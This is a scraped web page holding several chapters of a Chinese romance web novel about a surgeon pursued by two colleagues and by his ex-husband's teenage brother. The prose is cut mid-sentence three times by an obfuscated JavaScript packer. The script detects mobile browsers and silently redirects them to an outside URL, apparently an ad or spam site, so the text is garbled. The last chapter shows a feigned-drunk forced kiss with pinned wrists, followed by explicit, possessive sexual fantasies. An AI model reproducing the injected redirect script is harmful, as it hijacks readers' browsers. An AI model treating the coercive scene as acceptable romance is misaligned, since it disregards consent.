d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207401|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越红,“许酌哥,你知道我有多高么?知道我身上有几块腹肌么?知道我有多少力气么?知道我撸一次需要多久么?” 听清最后一个问题,许酌瞬间头疼起来,“.......小弋,我不是那个意思。” “那许酌哥是什么意思?”丞弋语气带着些控诉,“许酌哥什么都没了解过就要直接拒绝我,这对我是不是太不公平了?” 许酌一时间竟有些无言以对........他到底该怎么跟一个高中生解释,拒绝一个人之前是不需要了解那么多的。 许酌轻叹,“小弋,你先冷静一下。” “许酌哥,我很冷静。” 夜风里,说着冷静的人,却是眼角和鼻尖都哭红了。 看着他这副样子,许酌到底还是有些不忍心的。 但为了不显得拖泥带水,他还是准备把话说的再清楚一点。 然而还没等他开口,颈间就有温热的触感贴上来。 丞弋的大手贴在了他的颈侧,拇指轻轻抚动,“许酌哥,我可以接受你的拒绝,但前提是你要认真看看我。” “以看一个男人的目光,好好地,看看我。” “好不好?” 眼角泛红的少年,无比卑微地说出自己的诉求。 烫人的指腹也似有若无地撩过耳垂,许酌耳垂上立即泛起一阵酥麻的痒意。 这阵痒意裹着某种热意往他身体里蔓延,让他整个人都忍不住细细抖了一下。 见状,丞弋眸底一暗。 许酌哥的耳朵很敏感。 丞弋有些兴奋。 然而还不等他继续摸,许酌就抓住了他的手腕。 指腹摸了个空,丞弋的目光更加委屈了。 许酌拉开他的手腕,面上故作严肃,“小弋,一个真正的男人不仅有自己喜欢的人,还有长远的目标以及对未来的规划。” “你连大学志愿应该报什么都不知道,未来想要从事什么职业也不知道,你让我怎么把你当成一个真正的男人来看?” 丞弋张了张口,还没发出声音就听许酌先说,“不要说我是你的未来,我自己的工作都还有很长的路要走,真的撑不起你的未来。” 丞弋说,“我没有要许酌哥帮我撑什么的意思,我只是希望许酌哥能一直在我的未来里。” 许酌看着他,“我在的。” 丞弋眼底一亮。 许酌又说,“既然你喊了我哥,那我肯定会永远把你当亲弟弟,这一点你永远不用怀疑。” 刚亮起的光倏地暗下去,丞弋也垂下眼一言不发。 几秒后再抬起眼时,他黑沉的眼底多了些偏执的坚持,“是不是我有了明确的志愿和未来的规划,许酌哥就会认真看我了?” 许酌叹息。 他是发现了丞弋有些偏执,但他没想到丞弋会这么偏执。 偏执到根本不听他话里话外的拒绝之意。 然而他刚叹息完,就感觉丞弋又向他走近了一步。 许酌下意识还要后退。 但他身后已经没有路了。 下一秒。 他整个人就被丞弋抱住了。 圈在后背的手臂犹如结实的藤蔓,根本不给他挣开的任何可能。 却又不至于弄疼他。 “许酌哥,”丞弋把脸埋在许酌颈间,声音又低又哑,“你是不是根本不知道,我有多喜欢你。” “我喜欢你喜欢到,想要吐出来。” 我喜欢你喜欢到,想要吐出来。 明明不是一句多浪漫的表白,甚至还带着些不文雅。 但莫名其妙的,许酌心口还是重重跳了一下。 “所以,许酌哥多看看我吧。” 耳边声音还在继续。 丞弋说,“求求你了。” 许酌说不出话。 丞弋的双臂环得太紧了。 祈求的语气也令人无端心疼。 他呼吸不畅的同时,也感觉自己的心脏好像被紧紧裹住了。 18. 第 18 章 18 倒春寒一过去,天暖得就快了。 不过短短几天,气温就回升到一个非常舒适的温度了。 天气一暖。 医院各科室也开始安排【春风送暖】的医疗活动了。 【春风送暖】。 顾名思义就是各科派医生去指定地点做免费问诊。 以及送一些免费的医用礼品和日用品。 去年心外科派出去的人是周黎安和另一个资质较深的主治医师。 今年许酌刚升主治,崔玉知干脆就派他去。 本来这种活动是不需要规培生参加的。 但岑嘉祯想跟着许酌出去学习学习,就向崔玉知提出了申请。 崔玉知同意了。 岑嘉祯就屁颠屁颠找许酌报到了。 他们这次要去两个地方,一个是远离城区的福利院,一个是养老院。 刚好去两天。 两天后回来,许酌先回了趟家。 家里很干净,丞弋去上学了。 许酌进门先洗了个澡。 然后又去餐边柜接了杯水喝。 喝完水他回卧室换衣服。 今天不是休息日,他还得回医院继续上班。 出门前,他把换下的衣服丢进洗衣机里,又把阳台上晾干的衣服收下来。 除了他的衣服,其中还有丞弋的换洗校服。 许酌把自己的衣服随手丢在了卧室的床上,接着又把丞弋的衣服叠好放在他的房间里。 放好衣服准备离开时,许酌的目光在书桌上顿了一下。 丞弋的房间打扫得干净整洁。 而那张摆满书本习题的书桌上,此时却摆着一个和学习没有任何关系的木质相框。 相框里固定着一枝风干的红玫瑰。 许酌走近书桌。 拿起那个相框看了一眼。 相框里纯白的纸张右下角写着两行隽秀漂亮的字体。 许酌哥送我的第一支玫瑰花。 2025.3.17 日期后面还缀着一个饱满的小爱心。 相比其他字来说,这个小爱心的颜色重了很多。 显然是小心描绘过很多遍的效果。 相框右侧有黑色的开关键,许酌向上滑动了一下。 相框底部立即亮起暖色的灯光。 那片灯光在白天来看其实并不显眼。 却还是把那朵唯一的红玫瑰衬得栩栩如生。 许酌忍不住笑了一下。 到底还是小孩子。 五块钱一支玫瑰花能有多贵重,还值得这样小心保存。 “许酌哥,你是不是根本不知道我有多喜欢你。” 脑海里忽然又想起丞弋那天说过的话。 许酌敛起笑意,温柔的眉眼间也浮现出一丝愁虑。 丞弋的感情.....似乎比他想象的还要难处理。 但难处理,也还是要处理的。 他跟一个小十岁的高中生能谈出什么感情。 而且他还是自己前夫的弟弟。 关了灯,许酌把相框放回书桌上。 然后转身出门。 余凯睿知道他今天回来,说要等他一起吃午饭。 许酌拒绝了。 为了避免等下在食堂遇到余凯睿,他还特意绕路回家洗个澡的。 结果刚到医院食堂,他还是看到了正等在食堂的余凯睿。 许酌顿时有些无奈,“余主任,你怎么没去午休啊?” 余凯睿温温一笑,“不怎么想睡,想在这晒会太阳。” 快一点了,太阳早已经偏离食堂的落地窗了。 真想晒太阳当然还是去楼下小花园晒最好了。 这个借口过于拙劣了,不过许酌也没拆穿。 “那余主任先坐,我去点碗面。” 端着一碗牛肉面回来时,余凯睿也去食堂门口买了杯咖啡回来。 “无糖拿铁。”余凯睿把咖啡放到许酌面前,“是许医生喜欢喝的吧?” 许酌淡笑道谢,“谢谢余主任了,但下次咖啡还是我请你吧,我在楼下的咖啡店办了年卡,多买多优惠。” 余凯睿笑,“好,那我明天就等着许医生请我喝咖啡了。” 许酌笑着搅拌了下面前的面。 氤氲的雾气顺着空气往上蔓延。 余凯睿隔着白色的雾气看许酌那张脸,只觉得心动无比。 本不想打扰他吃饭,但还是忍不住想跟他说话,“许医生这次去义诊怎么样?累不累?” 许酌说,“还好,不怎么累。” 余凯睿顺口就夸,“那许医生真厉害,我记得我第一次去义诊的时候累的都不想动了。” 许酌笑起来,“余主任你快别开我玩笑了,我可听你们神外护士说了,你已经连上三个月的班了,怎么会被一个短短两天的义诊累到。” 余凯睿不好意思笑笑,“那不一样,我不休息是觉得一个人在家也是无聊。” 顿了顿又说,“但我过几天就要休息了。” 许酌嗯了声,“是要多休息了,不然身体会累垮的。” 余凯睿抿了抿唇,有些欲言又止。 许酌看他,“怎么了么?” 听他温柔询问,余凯睿这才略带紧张地说,“我是想问一下许医生平时会爬山么?” 许酌想了想,说,“我记得我上次爬山好像还是初二的研学游。” 余凯睿愣了下,笑了。 许酌惭愧,“不好意思啊,让余主任见笑了。” 见他误会,余凯睿连连摆摆手,“不是!我没有笑话许医生的意思!我是......我是觉得许医生刚才有些可爱。” 这是实话。 他真的被许酌刚才一本正经回答问题的模样可爱到了。 像个认真回答老师问题的乖学生。 许酌没想到他会突然这么说,一时没能接上话。 余凯睿也不想让他尴尬,接回话音问,“那许医生有兴趣爬山么?” 许酌说,“谈不上兴趣,偶尔爬一次也是可以的,毕竟强身健体嘛。” “那这周末我可以约许医生一起去爬山么?”余凯睿沉稳的眼底带着紧张的期待。 许酌:。 许酌安静了一瞬,他以为余凯睿还是像之前那样闲聊呢。 没想到他突然抛出个邀约。 许酌的第一反应自然是拒绝。 但转念一想,他或许可以借着登山的机会跟余凯睿把话说得再清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207402|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚点。 那样余凯睿就不用继续在他这里浪费时间了。 想通这一点,许酌点头,“可以啊,但我只有周日下午有时间。” 许酌能答应余凯睿已经很高兴了,哪还会挑时间,开心点头,“可以,那就周日下午。” 吃过午饭,刚好到下午上班的时间。 许酌下午没排手术,换上衣服去了门诊。 刚坐下,诊室门被敲响。 许酌抬眼,看见戴着眼镜笑得一脸温润的周黎安。 “师兄?”许酌有些惊讶,“你今天不是休息么?” 周黎安走进来,“在家没事,来看看你。” 说着准备把手里的咖啡递给许酌,却在递出去前看到许酌的手边已经有咖啡了。 还是食堂门口的咖啡。 他顿时不解,“师弟不是不喜欢喝食堂门口的那家咖啡么?” 许酌随口解释,“这是一个同事请我的。” 周黎安沉默两秒,扯着唇角笑了下,“余主任也太大意了吧,连师弟喜欢喝哪家咖啡都不知道。” 许酌从他语气中听到几丝挑拨离间的酸火,没接话,巧妙转移话题,“师兄找我有事么?没事的话我要开始叫号了,外面等了好多病人。” 周黎安没答他的话,目光在诊室里绕了一圈,“今天就你一个人么?小岑呢?” 许酌用免洗酒精擦了擦手,“他下午休息。” 周黎安点了点头,绕到许酌的右边,“那今天我给你当助手吧。” 许酌人都愣了一下,“师兄你别跟我开玩笑了,哪有你给我当助手的道理啊。” 周黎安已经放下咖啡坐下了,“现在就有了。” 说完不再给许酌拒绝的机会,直接拿过鼠标点进叫号系统开始叫号。 许酌再想说什么已经来不及了,门口已经有迫不及待的病人来敲门了。 许酌无奈看着周黎安。 周黎安勾唇笑了笑,温柔禁欲,“让人进来吧,许医生。” 许酌只好把人喊进来。 下午的门诊很轻松,大多都是来复查的。 有几个病人甚至还是副主任的病人,因为挂不到副主任的号,所以才来了挂普通门诊。 复查没有抢病人一说,但许酌还是把这几人的复查报告给周黎安看了。 门诊结束,许酌还要回住院区查一次房才能下班。 但去查房之前,周黎安忽然开口说,“许酌,这周日我们一起吃个饭吧。” 许酌:。 许酌怀疑周黎安和余凯睿是不是提前商量好了。 不然这两人怎么都盯上他那为数不多的半天休息日了。 但许酌已经提前答应过余凯睿了,自然没有多余的时间分给周黎安了。 所以他只好婉声拒绝,“不好意思啊师兄,我周日已经有安排了。” 周黎安微不可察蹙了蹙眉,镜片后的眼睛也瞬时不悦了起来,“余主任约你了?” 许酌觉得这种事情没什么好瞒的,坦然点头,“嗯,余主任约我去爬山,我已经答应他了。” 周黎安沉默好一会,才心平气和嗯了一声,“知道了。” 许酌见他没其它话要说了,指了指病房区域,“那我先去查房了。” 19. 第 19 章 19 到了周日这天,许酌按照约定时间到达云隐山。 刚停好车下车,就听有人喊他,“许医生!” 许酌侧头,看到一身黑色运动装扮的余凯睿。 褪去了带着职业气息的白大褂,余凯睿显得年轻很多。 他手中拿着两瓶水。 快步跑来时脸上还带着开心的笑意。 许酌关上车门,走上前迎他,“不好意思啊余主任,等很久了吧,我过来有点堵车。” 余凯睿脸上笑意不散,“没有等很久,我也刚到。” 然而话音刚落,他嘴角的笑意就僵住了。 许酌的副驾驶下来一个人。 那人眉眼清晰,鼻梁高挺。 一身灰白色运动装穿得规规矩矩。 关上车门绕到许酌身边时,面对着他扬起一个乖巧又富有少年朝气的笑,“余主任好。” .....不是前夫哥的弟弟又是谁。 余凯睿看向许酌,很想问他怎么也来了。 但对上许酌温柔的眉眼,他还是竭力保持住了美好的绅士风度,歉意说,“不好意思啊许医生,我不知道弟弟也来,没买弟弟的水。” 许酌摆手,“没事没事,是我不好意思才对,没跟余主任提前说一声就把他带来了。” 但其实许酌是真没想带丞弋过来充当什么缓和气氛的工具人。 他只是实在没抗住丞弋在家眼巴巴跟他说从来没人带他来爬过山。 当然,他带丞弋来的前提就是他要乖要听话,绝对不可以闹情绪。 丞弋当然记得他答应过许酌的。 所以闻言立即卖乖说,“嗯,余主任千万别生许酌哥的气,是我没爬过山非要跟过来的,如果余主任介意的话,我等下可以自己远远跟在你们后面,绝对不打扰你们。” 余凯睿:“.......” 无语不是沉默,是对丞弋这番茶言茶语无言以对。 余凯睿保持风度,“没事,弟弟随意就好。” 说完又转眸看着许酌,“那我们这边走吧许医生,顺便再给弟弟买瓶水。” 许酌跟上余凯睿,“余主任在外面就别喊我许医生了,直接喊我名字吧。” 余凯睿看他,“许.....酌?” 许酌笑,“嗯。” 余凯睿还是第一次喊当着许酌的面喊他的名字。 喊出口时,他顿觉有种很微妙的清甜感萦绕在口中。 再加上许酌又迎着光朝他笑了笑,就导致那阵清甜感直接顺着所有感官直直蔓延到了心底。 余凯睿眼底的喜欢都快溢出来了,但仍克制着,“那你也喊我名字好了。” “那不太合适。”许酌说,“我喊你睿哥好了。” 余凯睿抿了下唇,克制着嘴角上扬的弧度,“嗯,可以。” 没人看到的地方,丞弋漆黑的眼底泛起一阵阴冷的郁气。 “许酌哥。”丞弋伸手拉住许酌。 许酌回头,“嗯?” 丞弋提醒他,“车子没锁。” 他边说,还暗暗用力把许酌往他自己这边拉了拉。 余凯睿发现,定睛去看丞弋。 许酌在侧头锁车,丞弋和余凯睿对视。 此时三人刚好走到照不到阳光的树荫下。 丞弋站在阴影最浓的位置。 他瞳色偏黑,面无表情看人时本就容易给人一种冰冷感。 此时透过黑色的碎发直直看着和余凯睿对望,就很像蜿蜒在草丛里的丝丝吐着蛇信子的毒蛇。 和这样一双目光对视过之后,余凯睿这才后知后觉地反应过来,他不喜欢丞弋,并不单单只是因为丞弋是许酌前夫的弟弟。 还因为丞弋很擅伪装。 他面对许酌是人畜无害的菟丝花。 背对着许酌完全就是一条冷血致命的毒蛇。 “好了,走吧。”许酌锁好车回身。 丞弋第一时间掩下眼底的情绪,笑着朝许酌伸手,“钥匙放我这里吧许酌哥,不然等下爬山会累的。” 许酌拨开他的手,“不用,一把钥匙也没多重。” 丞弋也不勉强,嗯了声说,“那等下许酌哥累了跟我说,我可以背许酌哥的。” 许酌就笑,“你也太小看我了。” 丞弋目光灼灼,“不是的,我是担心许酌哥会累到。” 许酌:。 又来了。 这小孩。 许酌叹息,“那谢谢小弋的好意啦。” 说完又移开目光去看余凯睿,“走吧睿哥,我们继续往前走吧。” 走到山口,许酌给丞弋买了瓶电解质水。 准备开始登山前,余凯睿指导两人做了下简单的热身。 热身刚结束,许酌忽然听见一道熟悉的声音,“师弟。” 许酌循声侧头,看见了周黎安。 周黎安一身黑白色的休闲装。 他没戴眼睛,身上少了那阵温柔禁欲的感觉。 倒是多了些矜贵的时尚感。 许酌却有些惊讶,“师兄?你怎么在这里?” 周黎安弯唇一笑,“跟朋友来爬山。” 许酌看了眼周黎安身后。 一个人都没有。 周黎安解释,“我朋友已经先往山上爬了,我才到。” 许酌当然没信,不过也没拆穿他。 周黎安的目光转到余凯睿身上,笑得彬彬有礼,“好巧啊余主任,你们也来爬这座山啊。” 余凯睿似笑非笑,“是啊,好巧啊。” 周黎安礼貌问,“我可以跟你们一起么?我大概已经追不上我朋友了。” 余凯睿也礼貌回,“当然可以。” 看着俩人皮笑肉不笑的脸,丞弋心里不屑冷笑。 真没种。 这都不打起来。 “欸?”周黎安似是才看到丞弋,“弟弟也在啊。” 丞弋扬起招牌乖笑,“周医生好。” 许酌站在三个人中间,自然感觉到了以他为中心三股互相排斥的暗流。 无奈叹了叹,看向三人中最成熟理智的余凯睿,“睿哥,我们差不多也该开始了吧?” 周黎安眼睛一眯。 睿哥。 余凯睿感觉到了周黎安的不爽,心情忽然愉悦,“可以了,走吧。” 四人一起往山口走。 开始登山时,余凯睿还特别交代些许酌,“你平时不怎么运动健身,所以刚开始不要走那么快,一步一步走,先让腿部适应一下。” 许酌还没应声,周黎安就先轻笑说,“睿哥太小看我们心外科了吧,我师弟虽然平时没有健身的爱好,但他之前做住院总期间的运动量可不比睿哥差。” 许酌喊的睿哥是清甜口的。 周黎安喊的睿哥就充满讥讽。 余凯睿不被他的语气影响,淡声说,“这不一样,在医院来回跑全是一些平路,上山是需要动用膝盖的,稍有不慎是会伤害膝盖的。” 他温声反讽回去,“周医生不会连这点常识都不知道吧?” 周黎安淡笑,“余主任住院总期间不会没紧急跑过几层楼梯吧?也对,余主任已经离开住院总岗位好几年了。” 这是暗讽余凯睿年纪大了。 眼见两人之间的火药味越来越浓,许酌赶紧开口,“两位,你们不要并排走了,会挡到后面的人。” 余凯睿闻声往后一看,果然看到身后有两个不太好意思开口让他们让开的女孩子。 他连忙说了声‘抱歉’,然后让到旁边给两个女生让路。 那两位女生笑笑赶紧往前走了。 但余凯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15207403|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睿和周黎安之间的气氛并没有因此缓解。 丞弋好整以暇说,“两位哥哥一前一后走好了,这样就不会挡路了。” 周黎安往上迈一层台阶,“那我走前面吧,我走得快一点。” 余凯睿也跟着往上迈,“我经常爬山,可以帮你们调整节奏,还是我走前面吧。” 男人幼稚的胜负欲一触即发。 两人越走越快,争抢着要当走在最前面的领头人。 好像谁能一直保持第一,谁就可以让许酌高看一眼似的。 眼见两人越走越远,丞弋终于露出愉快的笑意,“山里空气真好,许酌哥,以后我们可以经常来爬山。” 许酌看着他,故作严肃,“小弋,你出门前怎么答应我的?” 然而,许酌的眉眼实在过于温柔。 以至于他的严肃根本没有半点威慑力,反而还透着让人更想欺负的柔软。 丞弋心口灼热,面上却一脸无辜,“怎么了许酌哥?我说错什么了么?” 许酌不被他的外表欺骗,问他,“你没事激他们干什么?” 丞弋更加无辜了,“我没有啊许酌哥,我只是不想他们等下又挡路啊,这也是错么?” 许酌安静和他对视。 山道上撒着温暖的光,少年蹙着眉心,眼底点缀着被误会的委屈。 安静的风吹了几秒,丞弋忽然开口说,“好,既然许酌哥觉得我是故意的,那我去给他们道歉就是了。” 说着就要往前走,许酌轻叹一声拉住他,“好了,我不是那个意思。” 丞弋偏着头,“许酌哥,我是不想让你出来跟余主任约会,但我知道你是拒绝不了才答应的,所以我也尽量让自己像个真正的男人一样尊重你的决定。” “许酌哥要是不相信我的话,我现在直接打车回家就是了。” 他说了那么多,许酌只挑了一句回应,“我们没有约会,我只是......” 其它话不适合解释给丞弋听,许酌顿了下改口说,“好了好了,是我误会你了,我给你道歉好不好?” 丞弋堵着气,“我才不要许酌哥的道歉。” 他抬眼,把手伸到许酌面前,看着他的眼睛漾着委屈的盈期待,“许酌哥真觉得抱歉的话,可以牵着我的手带着我走么?我有些走不动了。” 得寸进尺。 许酌脑海里忽然浮现出这个词。 再看丞弋此时的模样,可不就是得寸进尺么。 他有些好笑,“现在就走不动了?刚谁说要背我来着?” 丞弋被拆穿也不觉得尴尬,只是直直看着许酌,“那如果我说我只是想牵许酌哥的手,许酌哥会给我牵么?” 丞弋总是这样,表达心思时从不带任何掩饰。 永远直白。 热烈。 好像生怕你发觉不了他话音里的喜欢。 所以他每次说这些话时还总用炽热的眼神包裹着你。 这大概就是少年心性吧。 余凯睿和周黎安就说不出这样的话。 许酌拨开他的手,“小孩子么你,爬个山还要大人牵手,自己走。” 丞弋跟在他身边,眼底带着笑意,“我不是小孩子,但许酌哥是。” 他补充,“而且还是不讲道理的小孩子。” 许酌看他,“又没大没小是吧。” 丞弋反问他,“许酌哥自己不觉得么?” 他条理清晰说,“许酌哥拒绝我的时候说我是小孩子,现在我要牵手又说我不是小孩子,这难道不是不讲道理么?” 许酌张了张口想反驳,但一时间又没找到合适的说辞。 丞弋却在这个时候又笑起来,“但我喜欢。” 山间明朗的阳光下。 丞弋眼里蕴着少年人特有的真挚,“许酌哥的一切我都很喜欢。” 22-30 第22章 第 22 章 他从来没接过这么粗暴的…… 22 距离太近了, 许酌甚至都能感受到丞弋说话时引起的胸腔震颤。 那阵轻颤刚好贴着他的耳廓。 只一瞬间,许酌就觉得有阵酥酥麻麻的感觉正沿着耳廓迅速蔓延开。 许酌呼吸一紧,没能及时给出回应。 只是觉得贴靠在脸颊的胸腔越来越灼热。 他被这阵热度烘烤着, 脸颊也很快热了起来。 不等热意继续往全身蔓延,许酌就撑着手准备起身, “小弋,你先松开” “许酌哥”然而丞弋根本不给他离开的机会, 没等他说完话就再一次搂紧了他。 许酌重新落回丞弋怀里。 一起落下的,还有丞弋弱下去的声音,“别离开我, 也别跟别的男人约会” 许酌有些无奈。 这孩子到底知不知道什么是约会啊。 两个心意相通的人约在一起才叫约会。 他和余凯睿充其量就是休息天约在一起爬了个山。 而且全程都带着他跟周黎安。 不过他并不打算和一个醉了酒的人解释这些, 只想赶紧从丞弋怀里挣出去。 可下一秒。 他脸颊上就贴来了一只大手。 大手托着他的下巴,带着他缓缓抬起头。 视线上扬,许酌对上丞弋的眼睛。 他半垂的眼底闪着点点水光,眼眶也透着湿红的委屈。 许酌一怔,忘了挣扎。 丞弋凑过来,额头抵着许酌的额头,“许酌哥,你以前很疼我的。” “怎么现在都不疼我了?” “是我做错什么了么?” 少年越说越委屈, 鼻音也越来越重。 许酌在近在咫尺的距离里缓缓抬眼,刚好看到一滴透明的眼泪沿着丞弋的眼角滑落出来。 那滴泪让许酌心软, 他忘了丞弋在做梦, 解释说,“小弋, 我一直都在把你当亲弟弟疼,这一点永远不会变的。” 空气安静片刻,丞弋这才缓缓离开许酌的额头, 垂眸去追他的眼睛,“那许酌哥可不可以答应我……” 他的拇指缓缓抚弄着许酌的唇角,“以后都不再跟别的男人约会了。” “你再跟别的男人约会,我真的会疯掉的。” 这句话落下的瞬间,许酌只觉得空气似乎都变得沉冷了起来。 再去看丞弋的眼,只见他湿红眼底的占有欲已经强烈到几乎要翻涌出来了。 许酌本能地察觉到了危险,想挣开。 但晚了。 丞弋突然抬起他的下巴,重重吻了下来。 滚烫的触感来的过于突然,许酌猝不及防一惊,大脑一片空白。 而下一秒。 唇上重重压下来的触感就缓缓离开了。 丞弋单手捧着他的脸,垂眼看着他。 四目相对之际,许酌看见他眼底的泪光更汹涌了。 “还是做梦好,梦里的许酌哥最疼我了。” 他声音很低,带着几分细微的颤抖。 像极了受伤、但又找不到安慰,最后只能在梦里依靠假象舔舐伤口的野狗。 许酌心口立即拧了起来。 恰在此时,丞弋又捧起他的下巴,再度吻了下来。 这次的吻不再是简单的唇肉相碰。 丞弋趁着许酌愣神之际直接用舌尖撬开了他的牙关。 直到滚烫的舌尖蛮横地勾上来,许酌这才迟钝的反应过来当前的事态有多离谱。 他没再心软,立即蓄力去推丞弋的肩膀。 然而他的力气根本不敌丞弋。 推了好几下都没推开不说,反而惹得丞弋直接抓过他的手举过头顶。 随后,他整个人也如同一道阴影般覆压在他身上。 这个姿势更加狎昵了,许酌整个人明显慌乱了起来,“小弋,你” “许酌哥”丞弋打断他的话,俯身凑近,“我今天真的很难受,你疼疼我,好不好?” 话说完,一滴热泪刚好落到许酌的脸颊上。 那滴泪很轻,却还是存在感极强地让许酌感觉到了其中的难过情绪。 他忽然有些不知道该说什么了。 而他沉默的间隙,丞弋又一次吻了下来。 如果说刚才只是蛮横的话。 那现在这个吻多少有些不讲道理了。 他不让许酌离开。 也不给许酌离开的机会。 许酌整个人都被他禁锢住。 他想挣也挣不开,想躲也躲不掉。 只能被迫承受着少年人的不讲道理。 凌乱的吻声中,许酌只觉得自己肺部的氧气逐渐稀少。 他从来没接过这么粗暴的吻。 丞敛是个谦谦君子,他的吻永远平静温和,如春风细雨一般。 哪怕是最热烈的时候,他也只是被吻到浑身瘫软。 却从来没有过这种濒临缺氧的状态。 丞弋这小混蛋就不一样了。 他放肆,粗野。 每一个勾吮舔舐都仿佛是在发泄心底的某些情绪。 大脑逐渐晕眩之际,许酌甚至都感觉到了一阵难以言喻的恐惧。 丞弋在恐惧他走向别的男人。 所以想把他整个都吞进口中。 如同猛兽觉醒一样,他疯狂掠夺,凶狠进食。 仿佛只有将食物完完整整地吃进自己肚子里才算安心。 许酌不明白丞弋才这么大点,哪来的这么强的占有欲。 他只知道他真的快要喘不上气了。 最后他也不知道这个吻持续了多久。 他只知道丞弋离开时,他已经感受不到嘴唇的存在了。 大概是被亲麻了。 许酌懵懵地想。 “许酌哥”刚结束吻势的丞弋呼吸紊乱,却还是格外黏人的将脸埋进许酌的颈间,“不要跟别的男人约会,也不要看别的男人。” “我比他们更厉害,更大” 许酌没有回应。 他大脑缺氧,眼神飘忽。 急促的呼吸与强烈的心跳混为一体,不断冲击着他的耳膜,使他根本没听清丞弋说了什么。 只是本能地张开嘴巴,不断吸取新鲜的空气来重启自己缺氧的大脑。 等大脑终于恢复正常之后,他眨了眨眼,思绪开始缓慢恢复。 丞弋不知道什么时候松开了他,他慢慢动了动手,手腕有些酸软。 被攥太久导致的。 他试图推了下丞弋,丞弋没有反应。 偏头一看,这小混蛋也不知道是彻底醉过去了,还是直接睡过去了。 他眉眼安静,呼吸平稳。 唯有唇瓣一片红润。 无声昭示着这张嘴刚才干了什么。 许酌都来不及头疼,就赶紧撑起身子下了沙发。 落地时有些腿软,许酌没站稳,堪堪扶住茶几才没直接瘫软下去。 垂下的目光刚好看到茶几上的醒酒汤。 汤碗里已经没有热气氤氲出来了,显然是凉了。 凉了就不能喝了。 许酌侧过头,视线重新落回丞弋脸上。 这人没有要醒过来的迹象,大概也不需要解酒了。 许酌轻叹一口气,没空计较丞弋这小混蛋摁着他亲了多久,只赶紧把碗端回了厨房,接着就逃似的回了卧室。 关上门,许酌背靠着门板长松一口气。 而后,他慢慢低头。 垂眼看着视线里隆起的弧度。 …….这叫什么事,他居然被丞弋亲出反应来了。 这让他以后怎么面对丞弋? 许酌心里乱得厉害,整个人也如同被火烧着一样,焦躁难耐。 不用想,他性|瘾犯了。 他本来就需求大,刚才被丞弋不讲道理地狠亲了一番,体内灼烈燃烧的需求自然已经做好了迎接灌溉的准备。 只可惜,丞弋不是可以灌溉他的人。 也不能解决他的需求问题。 许酌咬唇皱了皱眉,最后还是快步走向了浴室。 他没拿玩具。 因为这个时候用玩具的话,他总觉得有种别扭的失德感。 虽然丞弋已经十八岁了,是个成年人了。 但在许酌眼里,丞弋就是个孩子,就是他看着长大的弟弟。 到了卫生间,许酌站在盥洗台前,看着镜子里的自己。 黑发凌乱,衣领褶皱。 面色潮红,耳垂也红的似要滴血。 两张唇瓣更夸张地红肿了起来。 许酌抬手轻轻碰了碰。 “嘶。” 好疼。 这小混蛋也亲太凶了。 好在没有咬破,不然他明天真的不知道该怎么跟别人解释了。 “许酌哥,不要跟别的男人约会。” “也不要看别的男人。” “我比他们更厉害,更大” 脑子里忽然响起丞弋的几句话。 当时许酌只顾着吸取氧气了,完全没在意这句话。 现在回想起来,许酌只觉得身体里的火烧得更厉害了。 更大 许酌不着边际地想,丞敛多大来着? 好像是18。 18这个尺寸已经够他吃痛了,他不敢想19该有多磨人。 而且,丞弋今年才十八岁。 如果再发育两年,尺寸应该更恐怖等等,他胡思乱想什么呢? 小弋是他弟弟,他一个做哥哥的去想这些未免也太失礼了。 而且,他无论如何都不可能跟丞弋发展到那种地步。 许酌觉得自己的思绪已经快要被身体里的渴望给侵蚀了。 他没再继续在镜子面前停留,三两下脱掉衣服就进了浴室。 客厅里。 熟睡的丞弋缓缓掀开眼皮,露出一双黑沉的眼眸。 暖色的灯光下,他哪里还有半分溃散的醉意。 分明全是阴沉的湿郁。 他用舌尖舔了舔嘴唇,末了又抿了抿。 许酌哥的嘴巴比他想象的还要软。 还要好亲。 口水更是甜的要命。 只是一点都不解渴。 他舔了那么多许酌哥的口水咽下去,心里还是渴得厉害。 许酌哥刚才要是哭出来就好了。 颤颤的泪顺着红润的眼角滑落下来。 他一定会一滴滴地舔干净。 一滴都不会浪费。 那一定很解渴。 越想越燥,丞弋痛苦地拧起眉。 刚才要不是怕许酌哥看出他在装醉,他真的会做更多。 不仅要亲。 他还想摸。 想干。 丞弋闭了闭眼。 真想把许酌哥干到腿软啊 这样他以后就没办法再跟别的男人约会了。 也不会再站到其他男人面前听他们说一些让他想发疯的话了。 只是 那样许酌哥一定会生气吧。 想到这里,丞弋又缓缓睁开眼,而后撑着身子坐起来,侧眸看着主卧的方向。 许酌哥是不是已经生气了? 是不是已经在想明天要怎么教训自己了? 那 许酌哥会用他恨不得每天舔舐一遍的手指指着他,骂他阴险变态么? 还是会直接一巴掌扇过来,严肃斥责他不要再痴心妄想? 毯子下撑起的弧度无意识扩大。 丞弋垂眸低着头。 半晌叹息一声。 看吧。 他早说过的,许酌哥的一切他都很喜欢。 